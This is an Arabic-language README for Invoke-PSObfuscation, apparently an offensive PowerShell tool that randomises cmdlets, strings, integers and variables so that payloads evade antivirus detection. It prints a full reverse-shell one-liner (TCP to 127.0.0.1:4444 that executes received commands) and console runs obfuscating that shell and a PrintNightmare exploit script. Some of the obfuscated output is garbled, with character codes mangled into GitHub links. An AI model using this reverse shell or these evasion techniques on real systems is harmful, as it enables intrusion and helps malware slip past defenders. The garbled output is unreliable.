
نهج متعمق لإخفاء المكونات الفردية لحمولة PowerShell سواء كنت على Windows أو Kali Linux.
تميل تقنيات الإبهام التقليدية إلى إضافة طبقات لتغليف الكود الثابت، مثل base64 أو الضغط. لا تزال هذه الحمولات تحقق درجة متفاوتة من النجاح، لكنها أصبحت تافهة لاستخراج الحمولة المقصودة، ويتم اكتشاف بعض أدوات الإطلاق في كثير من الأحيان، مما يخلق نقاط اختناق أساسية.
النهج الذي تقدمه هذه الأداة هو منهجية تتيح لك استهداف وإبهام المكونات الفردية لسكريبت مع اختلافات عشوائية مع تحقيق نفس المنطق المقصود، دون تغليف الحمولة بأكملها داخل طبقة واحدة. نظرًا لتعقيد منطق الإبهام، سيكون من الصعب جدًا توقيع الحمولات الناتجة وستفلت من محركات الكشف الإرشادية غير المبرمجة لمحاكاة المنطق الموروث.
بينما يمكن لهذا السكريبت إبهام معظم الحمولات بنجاح بمفرده، سيعمل هذا المشروع أيضًا كإطار دائم سأستخدمه لإنتاج وظائف مستقبلية ستستفيد من هذا الإطار لتوفير حمولات مخصصة مبهمة، مثل تلك التي تنتج فقط قذائف عكسية.
لقد كتبت مقالًا في مدونة Offensive Security كمقدمة للتقنيات التي تقدمها هذه الأداة. قبل المضي قدمًا، فكر في قراءته أولاً: https://www.offensive-security.com/offsec/powershell-obfuscation/
كجزء من عملي المستمر مع إبهام PowerShell، أقوم ببناء سكريبتات تنتج حمولات مخصصة تستخدم هذا الإطار. لقد ساعدتني هذه في توفير الوقت وآمل أن تجدها مفيدة أيضًا. يمكنك العثور عليها داخل مجلداتها الخاصة في جذر هذا المستودع.
مثل العديد من لغات البرمجة الأخرى، يمكن تقسيم PowerShell إلى مكونات عديدة تشكل المنطق القابل للتنفيذ. يتيح لنا ذلك هزيمة الكشف القائم على التوقيع بسهولة نسبية عن طريق تغيير كيفية تمثيل المكونات الفردية داخل الحمولة إلى شكل غامض أو غير مفهوم.
ضع في اعتبارك أن استهداف كل مكون في الحمولات المعقدة هو تدخلي للغاية. تم بناء هذه الأداة بحيث يمكنك استهداف المكونات التي تريد إبهامها بطريقة محكومة. لقد وجدت أن العديد من التوقيعات يمكن هزيمتها ببساطة عن طريق استهداف cmdlets والمتغيرات وأي تعليقات. عند استخدامها ضد حمولات معقدة، مثل print nightmare، ضع في اعتبارك أنه سيتم أيضًا تغيير معاملات/متغيرات الوظائف المخصصة. تأكد دائمًا من اختبار أي حمولات ناتجة بشكل صحيح وتأكد من أنك على دراية بأي معاملات مسماة تم تعديلها.
يتم تقديم أنواع المكونات مثل الأنابيب ومتغيرات الأنابيب هنا للمساعدة في جعل حمولتك أكثر غموضًا وصعوبة في فك التشفير.
الأنواع المدعومة
يحتوي كل مكون على مولد مخصص يحتوي على قائمة بالقيم الثابتة أو المولدة ديناميكيًا الممكنة التي يتم اختيارها عشوائيًا أثناء كل تنفيذ. إذا كانت هناك مثيلات متعددة لمكون، فسيتم تكرار كل منها بشكل فردي باستخدام مولد. يضيف هذا درجة من العشوائية في كل مرة تقوم فيها بتشغيل هذه الأداة ضد حمولة معينة، لذا ستكون كل تكرار مختلفًا. الاستثناء الوحيد لذلك هو أسماء المتغيرات.
إذا بدأت خوارزمية متعلقة بمكون معين في التسبب في وضع علامة على الحمولة، فإن التصميم الحالي يسمح لنا بتعديل منطق ذلك المولد بسهولة دون المساس بالسكريبت بأكمله.
$Picker = 1..6 | Get-Random
Switch ($Picker) {
1 { $NewValue = 'Stay' }
2 { $NewValue = 'Off' }
3 { $NewValue = 'Ronins' }
4 { $NewValue = 'Lawn' }
5 { $NewValue = 'And' }
6 { $NewValue = 'Rocks' }
}
تم اختبار هذا الإطار والحمولات الناتجة على نظام التشغيل وإصدارات PowerShell التالية. لن تعمل القذائف العكسية الناتجة على PowerShell v2.0
| إصدار PS | OS تم اختباره | Invoke-PSObfucation.ps1 | القشرة العكسية |
|---|---|---|---|
| 7.1.3 | Kali 2021.2 | مدعوم | مدعوم |
| 5.1.19041.1023 | Windows 10 10.0.19042 | مدعوم | مدعوم |
| 5.1.21996.1 | Windows 11 10.0.21996 | مدعوم | مدعوم |
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path .\CVE-2021-34527.ps1 -Cmdlets -Comments -NamespaceClasses -Variables -OutFile o-printnightmare.ps1
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating namespace classes
[*] Obfuscating cmdlets
[*] Obfuscating variables
[-] -DriverName is now -QhYm48JbCsqF
[-] -NewUser is now -ybrcKe
[-] -NewPassword is now -ZCA9QHerOCrEX84gMgNwnAth
[-] -DLL is now -dNr
[-] -ModuleName is now -jd
[-] -Module is now -tu3EI0q1XsGrniAUzx9WkV2o
[-] -Type is now -fjTOTLDCGufqEu
[-] -FullName is now -0vEKnCqm
[-] -EnumElements is now -B9aFqfvDbjtOXPxrR
[-] -Bitfield is now -bFUCG7LB9gq50p4e
[-] -StructFields is now -xKryDRQnLdjTC8
[-] -PackingSize is now -0CB3X
[-] -ExplicitLayout is now -YegeaeLpPnB
[*] Removing comments
[*] Writing payload to o-printnightmare.ps1
[*] Done
PS /home/tristram>
$client = New-Object System.Net.Sockets.TCPClient("127.0.0.1",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.
PS /home/tristram> . ./Invoke-PSObfuscation.ps1
PS /home/tristram> Invoke-PSObfuscation -Path ./revshell.ps1 -Integers -Cmdlets -Strings -ShowChanges
>> Layer 0 Obfuscation
>> https://github.com/gh0x0st
[*] Obfuscating integers
Generator 2 >> 4444 >> $(0-0+0+0-0-0+0+4444)
Generator 1 >> 65535 >> $((65535))
[*] Obfuscating strings
Generator 2 >> 127.0.0.1 >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/16%2A49/16)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/109%2A50/109)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B55-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/20%2A46/20)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B48-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B46-0)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/51%2A49/51))
Generator 2 >> PS >> $([char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/1%2A80/1)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/86%2B83-86)+[char](https://github.com/gh0x0st/invoke-psobfuscation/blob/main/0%2B32-0))
Generator 1 >> > >> ([string]::join('', ( (62,32) |%{ ( [char][int] $_)})) | % {$_})
[*] Obfuscating cmdlets
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 2 >> New-Object >> & ([string]::join('', ( (78,101,119,45,79,98,106,101,99,116) |%{ ( [char][int] $_)})) | % {$_})
Generator 1 >> Out-String >> & (("Tpltq1LeZGDhcO4MunzVC5NIP-vfWow6RxXSkbjYAU0aJm3KEgH2sFQr7i8dy9B")[13,16,3,25,35,3,55,57,17,49] -join '')
[*] Writing payload to /home/tristram/obfuscated.ps1
[*] Done

┌──(tristram㉿kali)-[~]
└─$ pwsh
PowerShell 7.1.3
Copyright (c) Microsoft Corporation.
https://aka.ms/powershell
Type 'help' to get help.